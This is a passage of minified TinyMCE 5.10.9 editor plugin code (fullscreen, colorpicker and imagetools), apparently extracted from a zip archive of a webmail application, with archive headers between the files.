Error("HTML must have a single root node");return O(r.childNodes[0])},fromTag:function(e,n){var r=(n||document).createElement(e);return O(r)},fromText:function(e,n){var r=(n||document).createTextNode(e);return O(r)},fromDom:O,fromPoint:function(e,n,r){return A.from(e.dom.elementFromPoint(n,r)).map(O)}};function P(n){return function(e){return e.dom.nodeType===n}}function M(t,e){return function(e){for(var n=0;n<e.length;n++){var r=function(n){var r=n.brand.toLowerCase();return S(t,function(e){var n;return r===(null===(n=e.brand)||void 0===n?void 0:n.toLowerCase())}).map(function(e){return{current:e.name,version:he.nu(parseInt(n.version,10),0)}})}(e[n]);if(r.isSome())return r}return A.none()}(e.brands)}function N(e,n){var r=String(n).toLowerCase();return S(e,function(e){return e.search(r)})}function H(n){return function(e){return x(e,n)}}function W(e){return window.matchMedia(e).matches}function q(e,n){var r=e.dom;if(1!==r.nodeType)return!1;var t=r;if(void 0!==t.matches)return t.matches(n);if(void 0!==t.msMatchesSelector)return t.msMatchesSelector(n);if(void 0!==t.webkitMatchesSelector)return t.webkitMatchesSelector(n);if(void 0!==t.mozMatchesSelector)return t.mozMatchesSelector(n);throw new Error("Browser lacks native selectors")}function I(e){return L.fromDom(e.dom.ownerDocument)}function j(e){var n,r=Re(e);return me(n=r)&&c(n.dom.host)?A.some(r):A.none()}function B(e){return L.fromDom(e.dom.host)}function V(e,n,r){!function(e,n,r){if(!(l(r)||o(r)||i(r)))throw console.error("Invalid call to Attribute.set. Key ",n,":: Value ",r,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(n,r+"")}(e.dom,n,r)}function X(e,n){var r=e.dom.getAttribute(n);return null===r?void 0:r}function _(e,n){e.dom.removeAttribute(n)}function z(e,n){var u=e.dom;!function(e){for(var n,r=R(e),t=0,o=r.length;t<o;t++){var i=r[t];n=e[i],function(e,n,r){if(!l(r))throw console.error("Invalid call to CSS.set. Property ",n,":: Value ",r,":: Element ",e),new Error("CSS value must be a string: "+r);E(e)&&e.style.setProperty(n,r)}(u,i,n)}}(n)}function U(e){function n(){return e.stopPropagation()}function r(){return e.preventDefault()}var t,o,i=L.fromDom(function(e){if(Ae()&&c(e.target)){var n=L.fromDom(e.target);if(se(n)&&Le(n)&&e.composed&&e.composedPath){var r=e.composedPath();if(r)return 0<(t=r).length?A.some(t[0]):A.none()}}var t;return A.from(e.target)}(e).getOr(e.target)),u=(t=r,o=n,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return t(o.apply(null,e))});return{target:i,x:e.clientX,y:e.clientY,stop:n,prevent:r,kill:u,raw:e}}function $(e,n,r){return o=n,i=!1,u=He,c=r,a=function(e){u(e)&&c(U(e))},(t=e).dom.addEventListener(o,a,i),{unbind:function(t){for(var o=[],e=1;e<arguments.length;e++)o[e-1]=arguments[e];return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var r=o.concat(e);return t.apply(null,r)}}(Ne,t,o,a,i)};var t,o,i,u,c,a}function K(e){var n=void 0===e?window:e;return ke().browser.isFirefox()?A.none():A.from(n.visualViewport)}function Y(e,n,r,t){return{x:e,y:n,width:r,height:t,right:e+r,bottom:n+t}}function G(r,t,e){return K(e).map(function(e){function n(e){return t(U(e))}return e.addEventListener(r,n),{unbind:function(){return e.removeEventListener(r,n)}}}).getOrThunk(function(){return{unbind:s}})}function J(e,n){e.fire("FullscreenStateChanged",{state:n}),e.fire("ResizeEditor")}function Q(e){return e.getParam("fullscreen_native",!1,"boolean")}function Z(e){return e.dom===(void 0!==(n=I(e).dom).fullscreenElement?n.fullscreenElement:void 0!==n.msFullscreenElement?n.msFullscreenElement:void 0!==n.webkitFullscreenElement?n.webkitFullscreenElement:null);var n}function ee(e,n){return t=function(e){return q(e,n)},b((r=e,A.from(r.dom.parentNode).map(L.fromDom).map(Ce).map(function(e){return b(e,function(e){return r.dom!==e.dom})}).getOr([])),t);var r,t}function ne(o,e,n){function r(t){return function(e){var n=X(e,"style"),r=void 0===n?"no-styles":n.trim();r===t||(V(e,Ve,r),z(e,o.parseStyle(t)))}}var t,i,u,c,a,s,l=(s=function(e){return q(e,"*")},b(function(e,n){for(var r=h(n)?n:v,t=e.dom,o=[];null!==t.parentNode&&void 0!==t.parentNode;){var i=t.parentNode,u=L.fromDom(i);if(o.push(u),!0===r(u))break;t=i}return o}(e,void 0),s)),f=function(e){for(var n=[],r=0,t=e.length;r<t;++r){if(!d(e[r]))throw new Error("Arr.flatten item "+r+" was not an array, input: "+e);k.apply(n,e[r])}return n}(C(l,function(e){return ee(e,"*:not(.tox-silver-sink)")})),m=(i="background-color",u=(t=n).dom,void 0!==(a=""!==(c=window.getComputedStyle(u).getPropertyValue(i))||Pe(t)?c:Me(u,i))&&""!==a?"background-color:"+a+"!important":"background-color:rgb(255,255,255)!important;");D(f,r("display:none!important;")),D(l,r(Xe+_e+m)),r((!0===ze?"":Xe)+_e+m)(e)}function re(r,t){return function(n){function e(e){return n.setActive(e.state)}return n.setActive(null!==t.get()),r.on("FullscreenStateChanged",e),function(){return r.off("FullscreenStateChanged",e)}}}"undefined"!=typeof window||Function("return this;")();function te(){return de(0,0)}function oe(e){function n(e){return function(){return r===e}}var r=e.current,t=e.version;return{current:r,version:t,isEdge:n("Edge"),isChrome:n("Chrome"),isIE:n("IE"),isOpera:n("Opera"),isFirefox:n(pe),isSafari:n("Safari")}}function ie(e){function n(e){return function(){return r===e}}var r=e.current,t=e.version;return{current:r,version:t,isWindows:n(be),isiOS:n("iOS"),isAndroid:n(Se),isOSX:n("OSX"),isLinux:n("Linux"),isSolaris:n(xe),isFreeBSD:n(Ee),isChromeOS:n(Oe)}}var ue,ce,ae,se=P(1),le=P(3),fe=P(9),me=P(11),de=function(e,n){return{major:e,minor:n}},he={nu:de,detect:function(e,n){var r,t,o=String(n).toLowerCase();return 0===e.length?te():(t=function(e,n){for(var r=0;r<e.length;r++){var t=e[r];if(t.test(n))return t}}(e,r=o))?de(i(1),i(2)):{major:0,minor:0};function i(e){return Number(r.replace(t,"$"+e))}},unknown:te},ve=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,ge={browsers:y([{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return x(e,"edge/")&&x(e,"chrome")&&x(e,"safari")&&x(e,"applewebkit")}},{name:"Chrome",brand:"Chromium",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,ve],search:function(e){return x(e,"chrome")&&!x(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return x(e,"msie")||x(e,"trident")}},{name:"Opera",versionRegexes:[ve,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:H("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:H("firefox")},{name:"Safari",versionRegexes:[ve,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(x(e,"safari")||x(e,"mobile/"))&&x(e,"applewebkit")}}]),oses:y([{name:"Windows",search:H("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return x(e,"iphone")||x(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:H("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:H("mac os x"),versionRegexes:[/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:H("linux"),versionRegexes:[]},{name:"Solaris",search:H("sunos"),versionRegexes:[]},{name:"FreeBSD",search:H("freebsd"),versionRegexes:[]},{name:"ChromeOS",search:H("cros"),versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/]}])},pe="Firefox",we=function(){return oe({current:void 0,version:he.unknown()})},ye=oe,be=(y("Edge"),y("Chrome"),y("IE"),y("Opera"),y(pe),y("Safari"),"Windows"),Se="Android",xe="Solaris",Ee="FreeBSD",Oe="ChromeOS",Fe=function(){return ie({current:void 0,version:he.unknown()})},Te=ie,ke=(y(be),y("iOS"),y(Se),y("Linux"),y("OSX"),y(xe),y(Ee),y(Oe),ae=!(ue=function(){return e=navigator.userAgent,n=A.from(navigator.userAgentData),r=W,v=ge.browsers(),g=ge.oses(),p=n.bind(function(e){return M(v,e)}).orThunk(function(){return N(v,r=e).map(function(e){var n=he.detect(e.versionRegexes,r);return{current:e.name,version:n}});var r}).fold(we,ye),w=N(g,t=e).map(function(e){var n=he.detect(e.versionRegexes,t);return{current:e.name,version:n}}).fold(Fe,Te),{browser:p,os:w,deviceType:(i=p,u=e,c=r,a=(o=w).isiOS()&&!0===/ipad/i.test(u),s=o.isiOS()&&!a,f=(l=o.isiOS()||o.isAndroid())||c("(pointer:coarse)"),m=a||!s&&l&&c("(min-device-width:768px)"),d=s||l&&!m,h=i.isSafari()&&o.isiOS()&&!1===/safari/i.test(u),{isiPad:y(a),isiPhone:y(s),isTablet:y(m),isPhone:y(d),isTouch:y(f),isAndroid:o.isAndroid,isiOS:o.isiOS,isWebView:y(h),isDesktop:y(!d&&!m&&!h)})};var e,n,r,t,o,i,u,c,a,s,l,f,m,d,h,v,g,p,w}),function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return ae||(ae=!0,ce=ue.apply(null,e)),ce}),Ce=function(e){return C(e.dom.childNodes,L.fromDom)},De=h(Element.prototype.attachShadow)&&h(Node.prototype.getRootNode),Ae=y(De),Re=De?function(e){return L.fromDom(e.dom.getRootNode())}:function(e){return fe(e)?e:I(e)},Le=function(e){return c(e.dom.shadowRoot)},Pe=function(e){var n=le(e)?e.dom.parentNode:e.dom;if(null==n||null===n.ownerDocument)return!1;var r,t,o=n.ownerDocument;return j(L.fromDom(n)).fold(function(){return o.body.contains(n)},(r=Pe,t=B,function(e){return r(t(e))}))},Me=function(e,n){return E(e)?e.style.getPropertyValue(n):""},Ne=function(e,n,r,t){e.dom.removeEventListener(n,r,t)},He=f,We=function(r,t){return{left:r,top:t,translate:function(e,n){return We(r+e,t+n)}}},qe=We,Ie=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),je=tinymce.util.Tools.resolve("tinymce.Env"),Be=tinymce.util.Tools.resolve("tinymce.util.Delay"),Ve="data-ephox-mobile-fullscreen-style",Xe="position:absolute!important;",_e="top:0!important;left:0!important;margin:0!important;padding:0!important;width:100%!important;height:100%!important;overflow:visible!important;",ze=je.os.isAndroid(),Ue=Ie.DOM,$e=K().fold(function(){return{bind:s,unbind:s}},function(n){var r,t=(r=p(s),T(T({},r),{on:function(e){return r.get().each(e)}})),o=w(),i=w(),u=Be.throttle(function(){document.body.scrollTop=0,document.documentElement.scrollTop=0,window.requestAnimationFrame(function(){t.on(function(e){return z(e,{top:n.offsetTop+"px",left:n.offsetLeft+"px",height:n.height+"px",width:n.width+"px"})})})},50);return{bind:function(e){t.set(e),u(),o.set(G("resize",u)),i.set(G("scroll",u))},unbind:function(){t.on(function(){o.clear(),i.clear()}),t.clear()}}}),Ke=function(o,i){function u(n){n(w,"tox-fullscreen"),n(y,"tox-fullscreen"),n(b,"tox-fullscreen"),j(S).map(function(e){return B(e).dom}).each(function(e){n(e,"tox-fullscreen"),n(e,"tox-shadowhost")})}function e(){var r,e,n,t;F&&(r=o.dom,e="["+Ve+"]",D(1!==(n=t=document).nodeType&&9!==n.nodeType&&11!==n.nodeType||0===n.childElementCount?[]:C(t.querySelectorAll(e),L.fromDom),function(e){var n=X(e,Ve);"no-styles"!==n?z(e,r.parseStyle(n)):_(e,"style"),_(e,Ve)})),u(Ue.removeClass),$e.unbind(),A.from(i.get()).each(function(e){return e.fullscreenChangeHandler.unbind()})}var n,r,t,c,a,s,l,f,m,d,h,v,g,p,w=document.body,y=document.documentElement,b=o.getContainer(),S=L.fromDom(b),x=j(s=L.fromDom(o.getElement())).map(B).getOrThunk(function(){var e=I(s).dom.body;if(null==e)throw new Error("Body is not available yet");return L.fromDom(e)}),E=i.get(),O=L.fromDom(o.getBody()),F=je.deviceType.isTouch(),T=b.style,k=o.iframeElement.style;E?(E.fullscreenChangeHandler.unbind(),Q(o)&&Z(x)&&((c=I(x).dom).exitFullscreen?c.exitFullscreen():c.msExitFullscreen?c.msExitFullscreen():c.webkitCancelFullScreen&&c.webkitCancelFullScreen()),k.width=E.iframeWidth,k.height=E.iframeHeight,T.width=E.containerWidth,T.height=E.containerHeight,T.top=E.containerTop,T.left=E.containerLeft,e(),t=E.scrollPos,window.scrollTo(t.x,t.y),i.set(null),J(o,!1),o.off("remove",e)):(n=$(I(x),void 0!==document.fullscreenElement?"fullscreenchange":void 0!==document.msFullscreenElement?"MSFullscreenChange":void 0!==document.webkitFullscreenElement?"webkitfullscreenchange":"fullscreenchange",function(e){Q(o)&&(Z(x)||null===i.get()||Ke(o,i))}),r={scrollPos:(l=window,v=void 0===l?window:l,g=v.document,d=(m=void 0!==(f=L.fromDom(g))?f.dom:document).body.scrollLeft||m.documentElement.scrollLeft,h=m.body.scrollTop||m.documentElement.scrollTop,p=qe(d,h),K(v).fold(function(){var e=v.document.documentElement,n=e.clientWidth,r=e.clientHeight;return Y(p.left,p.top,n,r)},function(e){return Y(Math.max(e.pageLeft,p.left),Math.max(e.pageTop,p.top),e.width,e.height)})),containerWidth:T.width,containerHeight:T.height,containerTop:T.top,containerLeft:T.left,iframeWidth:k.width,iframeHeight:k.height,fullscreenChangeHandler:n},F&&ne(o.dom,S,O),k.width=k.height="100%",T.width=T.height="",u(Ue.addClass),$e.bind(S),o.on("remove",e),i.set(r),Q(o)&&((a=x.dom).requestFullscreen?a.requestFullscreen():a.msRequestFullscreen?a.msRequestFullscreen():a.webkitRequestFullScreen&&a.webkitRequestFullScreen()),J(o,!0))};t.add("fullscreen",function(e){var n,r,t,o,i,u=a(null);return e.inline||(r=u,(n=e).addCommand("mceFullScreen",function(){Ke(n,r)}),(t=e).ui.registry.addToggleMenuItem("fullscreen",{text:"Fullscreen",icon:"fullscreen",shortcut:"Meta+Shift+F",onAction:c,onSetup:re(t,o=u)}),t.ui.registry.addToggleButton("fullscreen",{tooltip:"Fullscreen",icon:"fullscreen",onAction:c,onSetup:re(t,o)}),e.addShortcut("Meta+Shift+F","","mceFullScreen")),i=u,{isFullscreen:function(){return null!==i.get()}};function c(){return t.execCommand("mceFullScreen")}})}();PK
h�\WL�ڍ�4program/js/tinymce/plugins/colorpicker/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";tinymce.util.Tools.resolve("tinymce.PluginManager").add("colorpicker",function(){})}();PK
h�\[9LL3program/js/tinymce/plugins/imagetools/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function c(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function h(e){return null!=e}function r(){}function i(e){return function(){return e}}function e(e){return e}function t(){return d}function s(e){return n=typeof(t=e),"array"==(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n);var t,n}var n,o=tinymce.util.Tools.resolve("tinymce.PluginManager"),f=tinymce.util.Tools.resolve("tinymce.util.Tools"),a=function(e){return typeof e===n},u=i(!(n="function")),l=i(!0),d={fold:function(e,t){return e()},isSome:u,isNone:l,getOr:e,getOrThunk:m,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:e,orThunk:m,map:t,each:r,bind:t,exists:u,forall:l,filter:function(){return d},toArray:function(){return[]},toString:i("none()")};function m(e){return e()}var g=function(n){function e(){return o}function t(e){return e(n)}var r=i(n),o={fold:function(e,t){return t(n)},isSome:l,isNone:u,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return g(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?o:d},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},p={some:g,none:t,from:function(e){return null==e?d:g(e)}},v={},y={exports:v};function w(e,t){return U(document.createElement("canvas"),e,t)}function b(e){var t=w(e.width,e.height);return R(t).drawImage(e,0,0),t}function _(u){return new I(function(e,t){function n(){o.removeEventListener("load",i),o.removeEventListener("error",a)}var r=URL.createObjectURL(u),o=new Image,i=function(){n(),e(o)},a=function(){n(),t("Unable to load data of type "+u.type+": "+r)};o.addEventListener("load",i),o.addEventListener("error",a),o.src=r,o.complete&&setTimeout(i,0)})}function E(e,r,o){return r=r||"image/png",a(HTMLCanvasElement.prototype.toBlob)?new I(function(t,n){e.toBlob(function(e){e?t(e):n()},r,o)}):j(e.toDataURL(r,o))}function T(e,t){for(var n=0,r=e.length;n<r;n++)t(e[n],n)}function x(e,t){return function(e,t,n){for(var r=0,o=e.length;r<o;r++){var i=e[r];if(t(i,r))return p.some(i);if(n(i,r))break}return p.none()}(e,t,u)}!function(){var e=this,t=function(){var e,t,n,r={exports:{}};function o(){}function i(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],l(e,this)}function a(n,r){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var e,t=1===n._state?r.onFulfilled:r.onRejected;if(null!==t){try{e=t(n._value)}catch(e){return void c(r.promise,e)}u(r.promise,e)}else(1===n._state?u:c)(r.promise,n._value)})):n._deferreds.push(r)}function u(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof i)return t._state=3,t._value=e,void s(t);if("function"==typeof n)return void l((r=n,o=e,function(){r.apply(o,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(e){c(t,e)}var r,o}function c(e,t){e._state=2,e._value=t,s(e)}function s(e){2===e._state&&0===e._deferreds.length&&i._immediateFn(function(){e._handled||i._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)a(e,e._deferreds[t]);e._deferreds=null}function f(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function l(e,t){var n=!1;try{e(function(e){n||(n=!0,u(t,e))},function(e){n||(n=!0,c(t,e))})}catch(e){if(n)return;n=!0,c(t,e)}}e=r,t="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},n=setTimeout,i.prototype.catch=function(e){return this.then(null,e)},i.prototype.then=function(e,t){var n=new this.constructor(o);return a(this,new f(e,t,n)),n},i.all=function(e){var u=Array.prototype.slice.call(e);return new i(function(o,i){if(0===u.length)return o([]);for(var a=u.length,e=0;e<u.length;e++)!function t(n,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var r=e.then;if("function"==typeof r)return r.call(e,function(e){t(n,e)},i),0}u[n]=e,0==--a&&o(u)}catch(e){i(e)}}(e,u[e])})},i.resolve=function(t){return t&&"object"==typeof t&&t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(o){return new i(function(e,t){for(var n=0,r=o.length;n<r;n++)o[n].then(e,t)})},i._immediateFn="function"==typeof setImmediate?function(e){setImmediate(e)}:function(e){n(e,0)},i._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},i._setImmediateFn=function(e){i._immediateFn=e},i._setUnhandledRejectionFn=function(e){i._unhandledRejectionFn=e},e.exports?e.exports=i:t.Promise||(t.Promise=i);var d=r.exports;return{boltExport:("undefined"!=typeof window?window:Function("return this;")()).Promise||d}};"object"==typeof v&&void 0!==y?y.exports=t():(e="undefined"!=typeof globalThis?globalThis:e||self).EphoxContactWrapper=t()}();var I=y.exports.boltExport,R=function(e){return e.getContext("2d")},U=function(e,t,n){return e.width=t,e.height=n,e},A=function(r){return new I(function(e,t){var n=new XMLHttpRequest;n.open("GET",r,!0),n.responseType="blob",n.onload=function(){200===this.status&&e(this.response)},n.onerror=function(){var e;t(0===this.status?((e=new Error("No access to download image")).code=18,e.name="SecurityError",e):new Error("Error "+this.status+" downloading image"))},n.send()})},j=function(h){return new I(function(e,t){!function(){var e=h.split(","),t=/data:([^;]+)/.exec(e[0]);if(!t)return p.none();for(var n=t[1],r=e[1],o=atob(r),i=o.length,a=Math.ceil(i/1024),u=new Array(a),c=0;c<a;++c){for(var s=1024*c,f=Math.min(1024+s,i),l=new Array(f-s),d=s,m=0;d<f;++m,++d)l[m]=o[d].charCodeAt(0);u[c]=new Uint8Array(l)}return p.some(new Blob(u,{type:n}))}().fold(function(){t("uri is not base64: "+h)},e)})},S=function(e){URL.revokeObjectURL(e.src)},M=_,P=Array.prototype.indexOf,O=Object.keys;function L(e,t,n){function r(t,n){return e.then(function(e){return e.toDataURL(t||"image/png",n)})}return{getType:i(t.type),toBlob:function(){return I.resolve(t)},toDataURL:i(n),toBase64:function(){return n.split(",")[1]},toAdjustedBlob:function(t,n){return e.then(function(e){return E(e,t,n)})},toAdjustedDataURL:r,toAdjustedBase64:function(e,t){return r(e,t).then(function(e){return e.split(",")[1]})},toCanvas:function(){return e.then(b)}}}function k(t,e){return E(t,e).then(function(e){return L(I.resolve(t),e,t.toDataURL())})}function C(e,t){void 0===t&&(t=2);var n=Math.pow(10,t),r=Math.round(e*n);return Math.ceil(r/n)}function F(t,n,r){return void 0===r&&(r=!1),new I(function(e){var a=new XMLHttpRequest;a.onreadystatechange=function(){4===a.readyState&&e({status:a.status,blob:a.response})},a.open("GET",t,!0),a.withCredentials=r,function(e){for(var t,n=O(e),r=0,o=n.length;r<o;r++){var i=n[r];t=e[i],a.setRequestHeader(i,t)}}(n),a.responseType="blob",a.send()})}function B(e){var t,n=(t=e,"ImageProxy HTTP error: "+x(J,function(e){return t===e.code}).fold(i("Unknown ImageProxy error"),function(e){return e.message}));return I.reject(n)}function N(t){return x(K,function(e){return e.type===t}).fold(i("Unknown service error"),function(e){return e.message})}function D(e){return"ImageProxy Service error: "+function(e){try{return p.some(JSON.parse(e))}catch(e){return p.none()}}(e).bind(function(e){return n=function(e,t){return h(e)?e[t]:void 0},r=e,T(["error","type"],function(e,t){r=n(r,e)}),t=r,p.from(t).map(N);var n,r,t}).getOr("Invalid JSON in service error message")}function H(e){return e<200||300<=e}function z(e,t){var n,r,o,i={"Content-Type":"application/json;charset=UTF-8","tiny-api-key":t};return F((r=t,o=-1===(n=e).indexOf("?")?"?":"&",/[?&]apiKey=/.test(n)?n:n+o+"apiKey="+encodeURIComponent(r)),i).then(function(e){return H(e.status)?(t=e.status,"application/json"!==(null==(n=e.blob)?void 0:n.type)||400!==t&&403!==t&&404!==t&&500!==t?B(t):(r=n,new I(function(e,t){var n=new FileReader;n.onload=function(){e(n.result)},n.onerror=function(e){t(e)},n.readAsText(r)}).then(function(e){var t=D(e);return I.reject(t)}))):I.resolve(e.blob);var r,t,n})}function q(e,t,n){return void 0===n&&(n=!1),t?z(e,t):F(e,{},n).then(function(e){return H(e.status)?B(e.status):I.resolve(e.blob)})}function W(t){return n=t,new I(function(e){var t=new FileReader;t.onloadend=function(){e(t.result)},t.readAsDataURL(n)}).then(function(e){return L(_(t).then(function(e){S(e);var t=w(e.naturalWidth||e.width,e.naturalHeight||e.height);return R(t).drawImage(e,0,0),t}),t,e)});var n}!function(a){if(!s(a))throw new Error("cases must be an array");if(0===a.length)throw new Error("there must be at least one case");var u=[],n={};T(a,function(e,r){var t=O(e);if(1!==t.length)throw new Error("one and only one name per case");var i=t[0],o=e[i];if(void 0!==n[i])throw new Error("duplicate key detected:"+i);if("cata"===i)throw new Error("cannot have a case named cata (sorry)");if(!s(o))throw new Error("case arguments must be an array");u.push(i),n[i]=function(){for(var n=[],e=0;e<arguments.length;e++)n[e]=arguments[e];var t=n.length;if(t!==o.length)throw new Error("Wrong number of arguments to case "+i+". Expected "+o.length+" ("+o+"), got "+t);return{fold:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(e.length!==a.length)throw new Error("Wrong number of arguments to fold. Expected "+a.length+", got "+e.length);return e[r].apply(null,n)},match:function(e){var o=O(e);if(u.length!==o.length)throw new Error("Wrong number of arguments to match. Expected: "+u.join(",")+"\nActual: "+o.join(","));if(!function(e){for(var t,n=0,r=e.length;n<r;++n)if(!0!==(t=e[n],function(e,t){return-1<P.call(e,t)}(o,t)))return;return 1}(u))throw new Error("Not all branches were specified when using match. Specified: "+o.join(", ")+"\nRequired: "+u.join(", "));return e[i].apply(null,n)},log:function(e){console.log(e,{constructors:u,constructor:i,params:n})}}}})}([{bothErrors:["error1","error2"]},{firstError:["error1","value2"]},{secondError:["value1","error2"]},{bothValues:["value1","value2"]}]);function $(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var V=function(e,t,n){var r=(n<0?360+n:n)*Math.PI/180,o=e.width,i=e.height,a=Math.sin(r),u=Math.cos(r),c=C(Math.abs(o*u)+Math.abs(i*a)),s=C(Math.abs(o*a)+Math.abs(i*u)),f=w(c,s),l=R(f);return l.translate(c/2,s/2),l.rotate(r),l.drawImage(e,-o/2,-i/2),k(f,t)},G=function(e,t,n){var r=w(e.width,e.height),o=R(r);return"v"===n?(o.scale(1,-1),o.drawImage(e,0,-r.height)):(o.scale(-1,1),o.drawImage(e,-r.width,0)),k(r,t)},J=[{code:404,message:"Could not find Image Proxy"},{code:403,message:"Rejected request"},{code:0,message:"Incorrect Image Proxy URL"}],K=[{type:"not_found",message:"Failed to load image."},{type:"key_missing",message:"The request did not include an api key."},{type:"key_not_found",message:"The provided api key could not be found."},{type:"domain_not_trusted",message:"The api key is not valid for the request origins."}],X={fromHtml:function(e,t){var n=(t||document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return $(n.childNodes[0])},fromTag:function(e,t){var n=(t||document).createElement(e);return $(n)},fromText:function(e,t){var n=(t||document).createTextNode(e);return $(n)},fromDom:$,fromPoint:function(e,t,n){return p.from(e.dom.elementFromPoint(t,n)).map($)}};function Q(e){return e.getParam("imagetools_proxy")}function Y(e){function t(e){return/^[0-9\.]+px$/.test(e)}var n=e.style.width,r=e.style.height;return n||r?t(n)&&t(r)?{w:parseInt(n,10),h:parseInt(r,10)}:null:(n=e.width,r=e.height,n&&r?{w:parseInt(n,10),h:parseInt(r,10)}:null)}function Z(e){return{w:e.naturalWidth,h:e.naturalHeight}}function ee(e){return t=X.fromDom(e),n="img",r=function(r){return function(e){var t=r.dom;if(1!==t.nodeType)return!1;var n=t;if(void 0!==n.matches)return n.matches(e);if(void 0!==n.msMatchesSelector)return n.msMatchesSelector(e);if(void 0!==n.webkitMatchesSelector)return n.webkitMatchesSelector(e);if(void 0!==n.mozMatchesSelector)return n.mozMatchesSelector(e);throw new Error("Browser lacks native selectors")}(n)},x(t.dom.childNodes,function(e){return r(X.fromDom(e))}).map(X.fromDom);var t,n,r}function te(e,t){return e.dom.is(t,"figure")}function ne(e,t){return e.dom.is(t,"img:not([data-mce-object],[data-mce-placeholder])")}function re(t,e){function n(e){return ne(t,e)&&(be(t,e)||_e(t,e)||h(Q(t)))}return te(t,e)?ee(e).bind(function(e){return n(e.dom)?p.some(e.dom):p.none()}):n(e)?p.some(e):p.none()}function oe(e,t){e.notificationManager.open({text:t,type:"error"})}function ie(e){var t=e.selection.getNode(),n=e.dom.getParent(t,"figure.image");return null!==n&&te(e,n)?ee(n):ne(e,t)?p.some(X.fromDom(t)):p.none()}function ae(e,t,n){var r=t.match(/(?:\/|^)(([^\/\?]+)\.(?:[a-z0-9.]+))(?:\?|$)/i);return h(r)?e.dom.encode(r[n]):null}function ue(e,t){if(_e(e,t))return q(t.src,null,(n=t,-1!==f.inArray(e.getParam("imagetools_credentials_hosts",[],"string[]"),new ye(n.src).host)));var n,r;if(be(e,t))return(0===(r=t.src).indexOf("data:")?j:A)(r);var o=Q(e);return q(o+(-1===o.indexOf("?")?"?":"&")+"url="+encodeURIComponent(t.src),e.getParam("api_key",e.getParam("imagetools_api_key","","string"),"string"),!1)}function ce(e,t){var n,r,o=e.editorUpload.blobCache.getByUri(t.src);return o?ve.resolve(o.blob()):(n=e,r=t,p.from(n.getParam("imagetools_fetch_image",null,"function")).fold(function(){return ue(n,r)},function(e){return e(r)}))}function se(e){pe.clearTimeout(e.get())}function fe(u,c,s,f,l,d,m){return s.toBlob().then(function(e){var t,n,o,r=u.editorUpload.blobCache,i=d.src,a=c.type===e.type;return u.getParam("images_reuse_filename",!1,"boolean")&&(n=h(o=r.getByUri(i))?(i=o.uri(),t=o.name(),o.filename()):(t=ae(u,i,2),ae(u,i,1))),o=r.create({id:"imagetools"+we++,blob:e,base64:s.toBase64(),uri:i,name:t,filename:a?n:void 0}),r.add(o),u.undoManager.transact(function(){var r=function(){var 